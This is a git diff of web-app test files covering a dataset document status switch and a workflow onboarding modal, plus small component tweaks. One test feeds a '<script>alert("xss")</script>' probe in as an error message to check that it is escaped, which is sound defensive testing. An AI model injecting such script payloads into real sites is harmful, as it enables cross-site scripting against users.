+        expect(switchEl).toHaveAttribute('aria-checked', 'true')
+      })
+
+      it('should set switch to false when archived regardless of enabled', () => {
+        // Arrange & Act
+        renderWithProviders(
+          <StatusItem
+            status="available"
+            scene="detail"
+            detail={createDetailProps({ enabled: true, archived: true })}
+          />,
+        )
+
+        // Assert - archived overrides enabled, defaultValue becomes false
+        const switchEl = screen.getByRole('switch')
+        expect(switchEl).toHaveAttribute('aria-checked', 'false')
+      })
+    })
+  })
+
+  // ==================== Memoization Tests ====================
+  // Test useMemo logic for embedding status (disables switch)
+  describe('Memoization', () => {
+    it.each([
+      ['queuing', true],
+      ['indexing', true],
+      ['paused', true],
+      ['available', false],
+      ['enabled', false],
+      ['disabled', false],
+      ['archived', false],
+      ['error', false],
+    ] as const)('should correctly identify embedding status for "%s" - disabled: %s', (status, isEmbedding) => {
+      // Arrange & Act
+      renderWithProviders(
+        <StatusItem
+          status={status}
+          scene="detail"
+          detail={createDetailProps()}
+        />,
+      )
+
+      // Assert - check if switch is visually disabled (via CSS classes)
+      // The Switch component uses CSS classes for disabled state, not the native disabled attribute
+      const switchEl = screen.getByRole('switch')
+      if (isEmbedding)
+        expect(switchEl).toHaveClass('!cursor-not-allowed', '!opacity-50')
+      else
+        expect(switchEl).not.toHaveClass('!cursor-not-allowed')
+    })
+
+    it('should disable switch when archived', () => {
+      // Arrange & Act
+      renderWithProviders(
+        <StatusItem
+          status="available"
+          scene="detail"
+          detail={createDetailProps({ archived: true })}
+        />,
+      )
+
+      // Assert - visually disabled via CSS classes
+      const switchEl = screen.getByRole('switch')
+      expect(switchEl).toHaveClass('!cursor-not-allowed', '!opacity-50')
+    })
+
+    it('should disable switch when both embedding and archived', () => {
+      // Arrange & Act
+      renderWithProviders(
+        <StatusItem
+          status="indexing"
+          scene="detail"
+          detail={createDetailProps({ archived: true })}
+        />,
+      )
+
+      // Assert - visually disabled via CSS classes
+      const switchEl = screen.getByRole('switch')
+      expect(switchEl).toHaveClass('!cursor-not-allowed', '!opacity-50')
+    })
+  })
+
+  // ==================== Switch Toggle Tests ====================
+  // Test Switch toggle interactions
+  describe('Switch Toggle', () => {
+    it('should call enable operation when switch is toggled on', async () => {
+      // Arrange
+      const mockOnUpdate = jest.fn()
+      renderWithProviders(
+        <StatusItem
+          status="disabled"
+          scene="detail"
+          detail={createDetailProps({ enabled: false })}
+          datasetId="dataset-123"
+          onUpdate={mockOnUpdate}
+        />,
+      )
+
+      // Act
+      const switchEl = screen.getByRole('switch')
+      fireEvent.click(switchEl)
+
+      // Assert
+      await waitFor(() => {
+        expect(mockEnableDocument).toHaveBeenCalledWith({
+          datasetId: 'dataset-123',
+          documentId: 'doc-123',
+        })
+      })
+    })
+
+    it('should call disable operation when switch is toggled off', async () => {
+      // Arrange
+      const mockOnUpdate = jest.fn()
+      renderWithProviders(
+        <StatusItem
+          status="enabled"
+          scene="detail"
+          detail={createDetailProps({ enabled: true })}
+          datasetId="dataset-123"
+          onUpdate={mockOnUpdate}
+        />,
+      )
+
+      // Act
+      const switchEl = screen.getByRole('switch')
+      fireEvent.click(switchEl)
+
+      // Assert
+      await waitFor(() => {
+        expect(mockDisableDocument).toHaveBeenCalledWith({
+          datasetId: 'dataset-123',
+          documentId: 'doc-123',
+        })
+      })
+    })
+
+    it('should not call any operation when archived', () => {
+      // Arrange
+      renderWithProviders(
+        <StatusItem
+          status="available"
+          scene="detail"
+          detail={createDetailProps({ archived: true })}
+          datasetId="dataset-123"
+        />,
+      )
+
+      // Act
+      const switchEl = screen.getByRole('switch')
+      fireEvent.click(switchEl)
+
+      // Assert
+      expect(mockEnableDocument).not.toHaveBeenCalled()
+      expect(mockDisableDocument).not.toHaveBeenCalled()
+    })
+
+    it('should render switch as checked when enabled is true', () => {
+      // Arrange & Act
+      renderWithProviders(
+        <StatusItem
+          status="enabled"
+          scene="detail"
+          detail={createDetailProps({ enabled: true })}
+          datasetId="dataset-123"
+        />,
+      )
+
+      // Assert - verify switch shows checked state
+      const switchEl = screen.getByRole('switch')
+      expect(switchEl).toHaveAttribute('aria-checked', 'true')
+    })
+
+    it('should render switch as unchecked when enabled is false', () => {
+      // Arrange & Act
+      renderWithProviders(
+        <StatusItem
+          status="disabled"
+          scene="detail"
+          detail={createDetailProps({ enabled: false })}
+          datasetId="dataset-123"
+        />,
+      )
+
+      // Assert - verify switch shows unchecked state
+      const switchEl = screen.getByRole('switch')
+      expect(switchEl).toHaveAttribute('aria-checked', 'false')
+    })
+
+    it('should skip enable operation when props.enabled is true (guard branch)', () => {
+      // Covers guard condition: if (operationName === 'enable' && enabled) return
+      // Note: The guard checks props.enabled, NOT the Switch's internal UI state.
+      // This prevents redundant API calls when the UI toggles back to a state
+      // that already matches the server-side data (props haven't been updated yet).
+      const mockOnUpdate = jest.fn()
+      renderWithProviders(
+        <StatusItem
+          status="enabled"
+          scene="detail"
+          detail={createDetailProps({ enabled: true })}
+          datasetId="dataset-123"
+          onUpdate={mockOnUpdate}
+        />,
+      )
+
+      const switchEl = screen.getByRole('switch')
+      // First click: Switch UI toggles OFF, calls disable (props.enabled=true, so allowed)
+      fireEvent.click(switchEl)
+      // Second click: Switch UI toggles ON, tries to call enable
+      // BUT props.enabled is still true (not updated), so guard skips the API call
+      fireEvent.click(switchEl)
+
+      // Assert - disable was called once, enable was skipped because props.enabled=true
+      expect(mockDisableDocument).toHaveBeenCalledTimes(1)
+      expect(mockEnableDocument).not.toHaveBeenCalled()
+    })
+
+    it('should skip disable operation when props.enabled is false (guard branch)', () => {
+      // Covers guard condition: if (operationName === 'disable' && !enabled) return
+      // Note: The guard checks props.enabled, NOT the Switch's internal UI state.
+      // This prevents redundant API calls when the UI toggles back to a state
+      // that already matches the server-side data (props haven't been updated yet).
+      const mockOnUpdate = jest.fn()
+      renderWithProviders(
+        <StatusItem
+          status="disabled"
+          scene="detail"
+          detail={createDetailProps({ enabled: false })}
+          datasetId="dataset-123"
+          onUpdate={mockOnUpdate}
+        />,
+      )
+
+      const switchEl = screen.getByRole('switch')
+      // First click: Switch UI toggles ON, calls enable (props.enabled=false, so allowed)
+      fireEvent.click(switchEl)
+      // Second click: Switch UI toggles OFF, tries to call disable
+      // BUT props.enabled is still false (not updated), so guard skips the API call
+      fireEvent.click(switchEl)
+
+      // Assert - enable was called once, disable was skipped because props.enabled=false
+      expect(mockEnableDocument).toHaveBeenCalledTimes(1)
+      expect(mockDisableDocument).not.toHaveBeenCalled()
+    })
+  })
+
+  // ==================== onUpdate Callback Tests ====================
+  // Test onUpdate callback behavior
+  describe('onUpdate Callback', () => {
+    it('should call onUpdate with operation name on successful enable', async () => {
+      // Arrange
+      const mockOnUpdate = jest.fn()
+      renderWithProviders(
+        <StatusItem
+          status="disabled"
+          scene="detail"
+          detail={createDetailProps({ enabled: false })}
+          datasetId="dataset-123"
+          onUpdate={mockOnUpdate}
+        />,
+      )
+
+      // Act
+      const switchEl = screen.getByRole('switch')
+      fireEvent.click(switchEl)
+
+      // Assert
+      await waitFor(() => {
+        expect(mockOnUpdate).toHaveBeenCalledWith('enable')
+      })
+    })
+
+    it('should call onUpdate with operation name on successful disable', async () => {
+      // Arrange
+      const mockOnUpdate = jest.fn()
+      renderWithProviders(
+        <StatusItem
+          status="enabled"
+          scene="detail"
+          detail={createDetailProps({ enabled: true })}
+          datasetId="dataset-123"
+          onUpdate={mockOnUpdate}
+        />,
+      )
+
+      // Act
+      const switchEl = screen.getByRole('switch')
+      fireEvent.click(switchEl)
+
+      // Assert
+      await waitFor(() => {
+        expect(mockOnUpdate).toHaveBeenCalledWith('disable')
+      })
+    })
+
+    it('should not call onUpdate when operation fails', async () => {
+      // Arrange
+      mockEnableDocument.mockRejectedValue(new Error('API Error'))
+      const mockOnUpdate = jest.fn()
+      renderWithProviders(
+        <StatusItem
+          status="disabled"
+          scene="detail"
+          detail={createDetailProps({ enabled: false })}
+          datasetId="dataset-123"
+          onUpdate={mockOnUpdate}
+        />,
+      )
+
+      // Act
+      const switchEl = screen.getByRole('switch')
+      fireEvent.click(switchEl)
+
+      // Assert
+      await waitFor(() => {
+        expect(mockNotify).toHaveBeenCalledWith({
+          type: 'error',
+          message: 'common.actionMsg.modifiedUnsuccessfully',
+        })
+      })
+      expect(mockOnUpdate).not.toHaveBeenCalled()
+    })
+
+    it('should not throw when onUpdate is not provided', () => {
+      // Arrange
+      renderWithProviders(
+        <StatusItem
+          status="disabled"
+          scene="detail"
+          detail={createDetailProps({ enabled: false })}
+          datasetId="dataset-123"
+        />,
+      )
+
+      // Act
+      const switchEl = screen.getByRole('switch')
+
+      // Assert - should not throw
+      expect(() => fireEvent.click(switchEl)).not.toThrow()
+    })
+  })
+
+  // ==================== API Calls ====================
+  // Test API operations and toast notifications
+  describe('API Operations', () => {
+    it('should show success toast on successful operation', async () => {
+      // Arrange
+      renderWithProviders(
+        <StatusItem
+          status="disabled"
+          scene="detail"
+          detail={createDetailProps({ enabled: false })}
+          datasetId="dataset-123"
+        />,
+      )
+
+      // Act
+      const switchEl = screen.getByRole('switch')
+      fireEvent.click(switchEl)
+
+      // Assert
+      await waitFor(() => {
+        expect(mockNotify).toHaveBeenCalledWith({
+          type: 'success',
+          message: 'common.actionMsg.modifiedSuccessfully',
+        })
+      })
+    })
+
+    it('should show error toast on failed operation', async () => {
+      // Arrange
+      mockDisableDocument.mockRejectedValue(new Error('Network error'))
+      renderWithProviders(
+        <StatusItem
+          status="enabled"
+          scene="detail"
+          detail={createDetailProps({ enabled: true })}
+          datasetId="dataset-123"
+        />,
+      )
+
+      // Act
+      const switchEl = screen.getByRole('switch')
+      fireEvent.click(switchEl)
+
+      // Assert
+      await waitFor(() => {
+        expect(mockNotify).toHaveBeenCalledWith({
+          type: 'error',
+          message: 'common.actionMsg.modifiedUnsuccessfully',
+        })
+      })
+    })
+
+    it('should pass correct parameters to enable API', async () => {
+      // Arrange
+      renderWithProviders(
+        <StatusItem
+          status="disabled"
+          scene="detail"
+          detail={createDetailProps({ enabled: false, id: 'test-doc-id' })}
+          datasetId="test-dataset-id"
+        />,
+      )
+
+      // Act
+      const switchEl = screen.getByRole('switch')
+      fireEvent.click(switchEl)
+
+      // Assert
+      await waitFor(() => {
+        expect(mockEnableDocument).toHaveBeenCalledWith({
+          datasetId: 'test-dataset-id',
+          documentId: 'test-doc-id',
+        })
+      })
+    })
+
+    it('should pass correct parameters to disable API', async () => {
+      // Arrange
+      renderWithProviders(
+        <StatusItem
+          status="enabled"
+          scene="detail"
+          detail={createDetailProps({ enabled: true, id: 'test-doc-456' })}
+          datasetId="test-dataset-456"
+        />,
+      )
+
+      // Act
+      const switchEl = screen.getByRole('switch')
+      fireEvent.click(switchEl)
+
+      // Assert
+      await waitFor(() => {
+        expect(mockDisableDocument).toHaveBeenCalledWith({
+          datasetId: 'test-dataset-456',
+          documentId: 'test-doc-456',
+        })
+      })
+    })
+  })
+
+  // ==================== Edge Cases ====================
+  // Test boundary conditions and unusual inputs
+  describe('Edge Cases', () => {
+    it('should handle empty datasetId', () => {
+      // Arrange & Act
+      renderWithProviders(
+        <StatusItem
+          status="available"
+          scene="detail"
+          detail={createDetailProps()}
+        />,
+      )
+
+      // Assert - should render without errors
+      expect(screen.getByRole('switch')).toBeInTheDocument()
+    })
+
+    it('should handle undefined detail gracefully', () => {
+      // Arrange & Act
+      renderWithProviders(
+        <StatusItem
+          status="available"
+          scene="detail"
+          detail={undefined}
+        />,
+      )
+
+      // Assert
+      const switchEl = screen.getByRole('switch')
+      expect(switchEl).toHaveAttribute('aria-checked', 'false')
+    })
+
+    it('should handle empty string id in detail', async () => {
+      // Arrange
+      renderWithProviders(
+        <StatusItem
+          status="disabled"
+          scene="detail"
+          detail={createDetailProps({ enabled: false, id: '' })}
+          datasetId="dataset-123"
+        />,
+      )
+
+      // Act
+      const switchEl = screen.getByRole('switch')
+      fireEvent.click(switchEl)
+
+      // Assert
+      await waitFor(() => {
+        expect(mockEnableDocument).toHaveBeenCalledWith({
+          datasetId: 'dataset-123',
+          documentId: '',
+        })
+      })
+    })
+
+    it('should handle very long error messages', async () => {
+      // Arrange
+      const longErrorMessage = 'A'.repeat(500)
+      renderWithProviders(
+        <StatusItem status="error" errorMessage={longErrorMessage} />,
+      )
+
+      // Act - hover to show tooltip
+      const tooltipTrigger = screen.getByTestId('error-tooltip-trigger')
+      fireEvent.mouseEnter(tooltipTrigger)
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.getByText(longErrorMessage)).toBeInTheDocument()
+      })
+    })
+
+    it('should handle special characters in error message', async () => {
+      // Arrange
+      const specialChars = '<script>alert("xss")</script> & < > " \''
+      renderWithProviders(
+        <StatusItem status="error" errorMessage={specialChars} />,
+      )
+
+      // Act - hover to show tooltip
+      const tooltipTrigger = screen.getByTestId('error-tooltip-trigger')
+      fireEvent.mouseEnter(tooltipTrigger)
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.getByText(specialChars)).toBeInTheDocument()
+      })
+    })
+
+    it('should handle all status types in sequence', () => {
+      // Arrange
+      const statuses: DocumentDisplayStatus[] = [
+        'queuing', 'indexing', 'paused', 'error',
+        'available', 'enabled', 'disabled', 'archived',
+      ]
+
+      // Act & Assert
+      statuses.forEach((status) => {
+        const { unmount } = renderWithProviders(<StatusItem status={status} />)
+        const indicator = screen.getByTestId('status-indicator')
+        expect(indicator).toBeInTheDocument()
+        unmount()
+      })
+    })
+  })
+
+  // ==================== Component Memoization ====================
+  // Test React.memo behavior
+  describe('Component Memoization', () => {
+    it('should be wrapped with React.memo', () => {
+      // Assert
+      expect(StatusItem).toHaveProperty('$$typeof', Symbol.for('react.memo'))
+    })
+
+    it('should render correctly with same props', () => {
+      // Arrange
+      const props = {
+        status: 'available' as const,
+        scene: 'detail' as const,
+        detail: createDetailProps(),
+      }
+
+      // Act
+      const { rerender } = renderWithProviders(<StatusItem {...props} />)
+      rerender(
+        <QueryClientProvider client={createQueryClient()}>
+          <StatusItem {...props} />
+        </QueryClientProvider>,
+      )
+
+      // Assert
+      const indicator = screen.getByTestId('status-indicator')
+      expect(indicator).toBeInTheDocument()
+    })
+
+    it('should update when status prop changes', () => {
+      // Arrange
+      const { rerender } = renderWithProviders(<StatusItem status="available" />)
+
+      // Assert initial - green/success background
+      let indicator = screen.getByTestId('status-indicator')
+      expect(indicator).toHaveClass('bg-components-badge-status-light-success-bg')
+
+      // Act
+      rerender(
+        <QueryClientProvider client={createQueryClient()}>
+          <StatusItem status="error" />
+        </QueryClientProvider>,
+      )
+
+      // Assert updated - red/error background
+      indicator = screen.getByTestId('status-indicator')
+      expect(indicator).toHaveClass('bg-components-badge-status-light-error-bg')
+    })
+  })
+
+  // ==================== Styling Tests ====================
+  // Test CSS classes and styling
+  describe('Styling', () => {
+    it('should apply correct status text color for green status', () => {
+      // Arrange & Act
+      renderWithProviders(<StatusItem status="available" />)
+
+      // Assert
+      const statusText = screen.getByText('datasetDocuments.list.status.available')
+      expect(statusText).toHaveClass('text-util-colors-green-green-600')
+    })
+
+    it('should apply correct status text color for red status', () => {
+      // Arrange & Act
+      renderWithProviders(<StatusItem status="error" />)
+
+      // Assert
+      const statusText = screen.getByText('datasetDocuments.list.status.error')
+      expect(statusText).toHaveClass('text-util-colors-red-red-600')
+    })
+
+    it('should apply correct status text color for orange status', () => {
+      // Arrange & Act
+      renderWithProviders(<StatusItem status="queuing" />)
+
+      // Assert
+      const statusText = screen.getByText('datasetDocuments.list.status.queuing')
+      expect(statusText).toHaveClass('text-util-colors-warning-warning-600')
+    })
+
+    it('should apply correct status text color for blue status', () => {
+      // Arrange & Act
+      renderWithProviders(<StatusItem status="indexing" />)
+
+      // Assert
+      const statusText = screen.getByText('datasetDocuments.list.status.indexing')
+      expect(statusText).toHaveClass('text-util-colors-blue-light-blue-light-600')
+    })
+
+    it('should apply correct status text color for gray status', () => {
+      // Arrange & Act
+      renderWithProviders(<StatusItem status="disabled" />)
+
+      // Assert
+      const statusText = screen.getByText('datasetDocuments.list.status.disabled')
+      expect(statusText).toHaveClass('text-text-tertiary')
+    })
+
+    it('should render switch with md size in detail scene', () => {
+      // Arrange & Act
+      renderWithProviders(
+        <StatusItem
+          status="available"
+          scene="detail"
+          detail={createDetailProps()}
+        />,
+      )
+
+      // Assert - check switch has the md size class (h-4 w-7)
+      const switchEl = screen.getByRole('switch')
+      expect(switchEl).toHaveClass('h-4', 'w-7')
+    })
+  })
+})
diff --git a/web/app/components/datasets/documents/status-item/index.tsx b/web/app/components/datasets/documents/status-item/index.tsx
index 4ab7246a29..4adb622747 100644
--- a/web/app/components/datasets/documents/status-item/index.tsx
+++ b/web/app/components/datasets/documents/status-item/index.tsx
@@ -105,6 +105,7 @@ const StatusItem = ({
             <div className='max-w-[260px] break-all'>{errorMessage}</div>
           }
           triggerClassName='ml-1 w-4 h-4'
+          triggerTestId='error-tooltip-trigger'
         />
       )
     }
diff --git a/web/app/components/datasets/external-knowledge-base/connector/index.spec.tsx b/web/app/components/datasets/external-knowledge-base/connector/index.spec.tsx
index a6353a101c..667d701a92 100644
--- a/web/app/components/datasets/external-knowledge-base/connector/index.spec.tsx
+++ b/web/app/components/datasets/external-knowledge-base/connector/index.spec.tsx
@@ -16,13 +16,6 @@ jest.mock('next/navigation', () => ({
   }),
 }))
 
-// Mock react-i18next
-jest.mock('react-i18next', () => ({
-  useTranslation: () => ({
-    t: (key: string) => key,
-  }),
-}))
-
 // Mock useDocLink hook
 jest.mock('@/context/i18n', () => ({
   useDocLink: () => (path?: string) => `https://docs.dify.ai/en${path || ''}`,
diff --git a/web/app/components/datasets/external-knowledge-base/create/index.spec.tsx b/web/app/components/datasets/external-knowledge-base/create/index.spec.tsx
index c315743424..7dc6c77c82 100644
--- a/web/app/components/datasets/external-knowledge-base/create/index.spec.tsx
+++ b/web/app/components/datasets/external-knowledge-base/create/index.spec.tsx
@@ -15,13 +15,6 @@ jest.mock('next/navigation', () => ({
   }),
 }))
 
-// Mock react-i18next
-jest.mock('react-i18next', () => ({
-  useTranslation: () => ({
-    t: (key: string) => key,
-  }),
-}))
-
 // Mock useDocLink hook
 jest.mock('@/context/i18n', () => ({
   useDocLink: () => (path?: string) => `https://docs.dify.ai/en${path || ''}`,
diff --git a/web/app/components/explore/app-card/index.spec.tsx b/web/app/components/explore/app-card/index.spec.tsx
index ee09a2ad26..4fffce6527 100644
--- a/web/app/components/explore/app-card/index.spec.tsx
+++ b/web/app/components/explore/app-card/index.spec.tsx
@@ -4,12 +4,6 @@ import AppCard, { type AppCardProps } from './index'
 import type { App } from '@/models/explore'
 import { AppModeEnum } from '@/types/app'
 
-jest.mock('react-i18next', () => ({
-  useTranslation: () => ({
-    t: (key: string) => key,
-  }),
-}))
-
 jest.mock('@/app/components/base/app-icon', () => ({
   __esModule: true,
   default: ({ children }: any) => <div data-testid="app-icon">{children}</div>,
diff --git a/web/app/components/header/indicator/index.tsx b/web/app/components/header/indicator/index.tsx
index 8d27825247..d3a49a9714 100644
--- a/web/app/components/header/indicator/index.tsx
+++ b/web/app/components/header/indicator/index.tsx
@@ -47,6 +47,7 @@ export default function Indicator({
 }: IndicatorProps) {
   return (
     <div
+      data-testid="status-indicator"
       className={classNames(
         'h-2 w-2 rounded-[3px] border border-solid',
         BACKGROUND_MAP[color],
diff --git a/web/app/components/plugins/install-plugin/utils.ts b/web/app/components/plugins/install-plugin/utils.ts
index afbe0f18af..32d3e54225 100644
--- a/web/app/components/plugins/install-plugin/utils.ts
+++ b/web/app/components/plugins/install-plugin/utils.ts
@@ -61,7 +61,8 @@ export const pluginManifestInMarketToPluginProps = (pluginManifest: PluginManife
 }
 
 export const parseGitHubUrl = (url: string): GitHubUrlInfo => {
-  const match = url.match(/^https:\/\/github\.com\/([^/]+)\/([^/]+)\/?$/)
+  const githubUrlRegex = /^https:\/\/github\.com\/([^/]+)\/([^/]+)\/?$/
+  const match = githubUrlRegex.exec(url)
   return match ? { isValid: true, owner: match[1], repo: match[2] } : { isValid: false }
 }
 
diff --git a/web/app/components/share/text-generation/no-data/index.spec.tsx b/web/app/components/share/text-generation/no-data/index.spec.tsx
index 20a8485f4c..0e2a592e46 100644
--- a/web/app/components/share/text-generation/no-data/index.spec.tsx
+++ b/web/app/components/share/text-generation/no-data/index.spec.tsx
@@ -2,12 +2,6 @@ import React from 'react'
 import { render, screen } from '@testing-library/react'
 import NoData from './index'
 
-jest.mock('react-i18next', () => ({
-  useTranslation: () => ({
-    t: (key: string) => key,
-  }),
-}))
-
 describe('NoData', () => {
   beforeEach(() => {
     jest.clearAllMocks()
diff --git a/web/app/components/share/text-generation/run-batch/res-download/index.spec.tsx b/web/app/components/share/text-generation/run-batch/res-download/index.spec.tsx
index 65acac8bb6..5660db1374 100644
--- a/web/app/components/share/text-generation/run-batch/res-download/index.spec.tsx
+++ b/web/app/components/share/text-generation/run-batch/res-download/index.spec.tsx
@@ -2,12 +2,6 @@ import React from 'react'
 import { render, screen } from '@testing-library/react'
 import ResDownload from './index'
 
-jest.mock('react-i18next', () => ({
-  useTranslation: () => ({
-    t: (key: string) => key,
-  }),
-}))
-
 const mockType = { Link: 'mock-link' }
 let capturedProps: Record<string, unknown> | undefined
 
diff --git a/web/app/components/tools/workflow-tool/confirm-modal/index.spec.tsx b/web/app/components/tools/workflow-tool/confirm-modal/index.spec.tsx
index 37bc1539d7..c57a2891e3 100644
--- a/web/app/components/tools/workflow-tool/confirm-modal/index.spec.tsx
+++ b/web/app/components/tools/workflow-tool/confirm-modal/index.spec.tsx
@@ -3,13 +3,6 @@ import { act, render, screen, waitFor } from '@testing-library/react'
 import userEvent from '@testing-library/user-event'
 import ConfirmModal from './index'
 
-// Mock external dependencies as per guidelines
-jest.mock('react-i18next', () => ({
-  useTranslation: () => ({
-    t: (key: string) => key,
-  }),
-}))
-
 // Test utilities
 const defaultProps = {
   show: true,
diff --git a/web/app/components/workflow-app/components/workflow-onboarding-modal/index.spec.tsx b/web/app/components/workflow-app/components/workflow-onboarding-modal/index.spec.tsx
new file mode 100644
index 0000000000..81d7dc8af6
--- /dev/null
+++ b/web/app/components/workflow-app/components/workflow-onboarding-modal/index.spec.tsx
@@ -0,0 +1,686 @@
+import React from 'react'
+import { fireEvent, render, screen, waitFor } from '@testing-library/react'
+import userEvent from '@testing-library/user-event'
+import WorkflowOnboardingModal from './index'
+import { BlockEnum } from '@/app/components/workflow/types'
+
+// Mock Modal component
+jest.mock('@/app/components/base/modal', () => {
+  return function MockModal({
+    isShow,
+    onClose,
+    children,
+    closable,
+  }: any) {
+    if (!isShow)
+      return null
+
+    return (
+      <div data-testid="modal" role="dialog">
+        {closable && (
+          <button data-testid="modal-close-button" onClick={onClose}>
+            Close
+          </button>
+        )}
+        {children}
+      </div>
+    )
+  }
+})
+
+// Mock useDocLink hook
+jest.mock('@/context/i18n', () => ({
+  useDocLink: () => (path: string) => `https://docs.example.com${path}`,
+}))
+
+// Mock StartNodeSelectionPanel (using real component would be better for integration,
+// but for this test we'll mock to control behavior)
+jest.mock('./start-node-selection-panel', () => {
+  return function MockStartNodeSelectionPanel({
+    onSelectUserInput,
+    onSelectTrigger,
+  }: any) {
+    return (
+      <div data-testid="start-node-selection-panel">
+        <button data-testid="select-user-input" onClick={onSelectUserInput}>
+          Select User Input
+        </button>
+        <button
+          data-testid="select-trigger-schedule"
+          onClick={() => onSelectTrigger(BlockEnum.TriggerSchedule)}
+        >
+          Select Trigger Schedule
+        </button>
+        <button
+          data-testid="select-trigger-webhook"
+          onClick={() => onSelectTrigger(BlockEnum.TriggerWebhook, { config: 'test' })}
+        >
+          Select Trigger Webhook
+        </button>
+      </div>
+    )
+  }
+})
+
+describe('WorkflowOnboardingModal', () => {
+  const mockOnClose = jest.fn()
+  const mockOnSelectStartNode = jest.fn()
+
+  const defaultProps = {
+    isShow: true,
+    onClose: mockOnClose,
+    onSelectStartNode: mockOnSelectStartNode,
+  }
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  // Helper function to render component
+  const renderComponent = (props = {}) => {
+    return render(<WorkflowOnboardingModal {...defaultProps} {...props} />)
+  }
+
+  // Rendering tests (REQUIRED)
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      // Arrange & Act
+      renderComponent()
+
+      // Assert
+      expect(screen.getByRole('dialog')).toBeInTheDocument()
+    })
+
+    it('should render modal when isShow is true', () => {
+      // Arrange & Act
+      renderComponent({ isShow: true })
+
+      // Assert
+      expect(screen.getByTestId('modal')).toBeInTheDocument()
+    })
+
+    it('should not render modal when isShow is false', () => {
+      // Arrange & Act
+      renderComponent({ isShow: false })
+
+      // Assert
+      expect(screen.queryByTestId('modal')).not.toBeInTheDocument()
+    })
+
+    it('should render modal title', () => {
+      // Arrange & Act
+      renderComponent()
+
+      // Assert
+      expect(screen.getByText('workflow.onboarding.title')).toBeInTheDocument()
+    })
+
+    it('should render modal description', () => {
+      // Arrange & Act
+      const { container } = renderComponent()
+
+      // Assert - Check both parts of description (separated by link)
+      const descriptionDiv = container.querySelector('.body-xs-regular.leading-4')
+      expect(descriptionDiv).toBeInTheDocument()
+      expect(descriptionDiv).toHaveTextContent('workflow.onboarding.description')
+      expect(descriptionDiv).toHaveTextContent('workflow.onboarding.aboutStartNode')
+    })
+
+    it('should render learn more link', () => {
+      // Arrange & Act
+      renderComponent()
+
+      // Assert
+      const learnMoreLink = screen.getByText('workflow.onboarding.learnMore')
+      expect(learnMoreLink).toBeInTheDocument()
+      expect(learnMoreLink.closest('a')).toHaveAttribute('href', 'https://docs.example.com/guides/workflow/node/start')
+      expect(learnMoreLink.closest('a')).toHaveAttribute('target', '_blank')
+      expect(learnMoreLink.closest('a')).toHaveAttribute('rel', 'noopener noreferrer')
+    })
+
+    it('should render StartNodeSelectionPanel', () => {
+      // Arrange & Act
+      renderComponent()
+
+      // Assert
+      expect(screen.getByTestId('start-node-selection-panel')).toBeInTheDocument()
+    })
+
+    it('should render ESC tip when modal is shown', () => {
+      // Arrange & Act
+      renderComponent({ isShow: true })
+
+      // Assert
+      expect(screen.getByText('workflow.onboarding.escTip.press')).toBeInTheDocument()
+      expect(screen.getByText('workflow.onboarding.escTip.key')).toBeInTheDocument()
+      expect(screen.getByText('workflow.onboarding.escTip.toDismiss')).toBeInTheDocument()
+    })
+
+    it('should not render ESC tip when modal is hidden', () => {
+      // Arrange & Act
+      renderComponent({ isShow: false })
+
+      // Assert
+      expect(screen.queryByText('workflow.onboarding.escTip.press')).not.toBeInTheDocument()
+    })
+
+    it('should have correct styling for title', () => {
+      // Arrange & Act
+      renderComponent()
+
+      // Assert
+      const title = screen.getByText('workflow.onboarding.title')
+      expect(title).toHaveClass('title-2xl-semi-bold')
+      expect(title).toHaveClass('text-text-primary')
+    })
+
+    it('should have modal close button', () => {
+      // Arrange & Act
+      renderComponent()
+
+      // Assert
+      expect(screen.getByTestId('modal-close-button')).toBeInTheDocument()
+    })
+  })
+
+  // Props tests (REQUIRED)
+  describe('Props', () => {
+    it('should accept isShow prop', () => {
+      // Arrange & Act
+      const { rerender } = renderComponent({ isShow: false })
+
+      // Assert
+      expect(screen.queryByTestId('modal')).not.toBeInTheDocument()
+
+      // Act
+      rerender(<WorkflowOnboardingModal {...defaultProps} isShow={true} />)
+
+      // Assert
+      expect(screen.getByTestId('modal')).toBeInTheDocument()
+    })
+
+    it('should accept onClose prop', () => {
+      // Arrange
+      const customOnClose = jest.fn()
+
+      // Act
+      renderComponent({ onClose: customOnClose })
+
+      // Assert
+      expect(screen.getByTestId('modal')).toBeInTheDocument()
+    })
+
+    it('should accept onSelectStartNode prop', () => {
+      // Arrange
+      const customHandler = jest.fn()
+
+      // Act
+      renderComponent({ onSelectStartNode: customHandler })
+
+      // Assert
+      expect(screen.getByTestId('start-node-selection-panel')).toBeInTheDocument()
+    })
+
+    it('should handle undefined onClose gracefully', () => {
+      // Arrange & Act
+      expect(() => {
+        renderComponent({ onClose: undefined })
+      }).not.toThrow()
+
+      // Assert
+      expect(screen.getByTestId('modal')).toBeInTheDocument()
+    })
+
+    it('should handle undefined onSelectStartNode gracefully', () => {
+      // Arrange & Act
+      expect(() => {
+        renderComponent({ onSelectStartNode: undefined })
+      }).not.toThrow()
+
+      // Assert
+      expect(screen.getByTestId('modal')).toBeInTheDocument()
+    })
+  })
+
+  // User Interactions - Start Node Selection
+  describe('User Interactions - Start Node Selection', () => {
+    it('should call onSelectStartNode with Start block when user input is selected', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act
+      const userInputButton = screen.getByTestId('select-user-input')
+      await user.click(userInputButton)
+
+      // Assert
+      expect(mockOnSelectStartNode).toHaveBeenCalledTimes(1)
+      expect(mockOnSelectStartNode).toHaveBeenCalledWith(BlockEnum.Start)
+    })
+
+    it('should call onClose after selecting user input', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act
+      const userInputButton = screen.getByTestId('select-user-input')
+      await user.click(userInputButton)
+
+      // Assert
+      expect(mockOnClose).toHaveBeenCalledTimes(1)
+    })
+
+    it('should call onSelectStartNode with trigger type when trigger is selected', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act
+      const triggerButton = screen.getByTestId('select-trigger-schedule')
+      await user.click(triggerButton)
+
+      // Assert
+      expect(mockOnSelectStartNode).toHaveBeenCalledTimes(1)
+      expect(mockOnSelectStartNode).toHaveBeenCalledWith(BlockEnum.TriggerSchedule, undefined)
+    })
+
+    it('should call onClose after selecting trigger', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act
+      const triggerButton = screen.getByTestId('select-trigger-schedule')
+      await user.click(triggerButton)
+
+      // Assert
+      expect(mockOnClose).toHaveBeenCalledTimes(1)
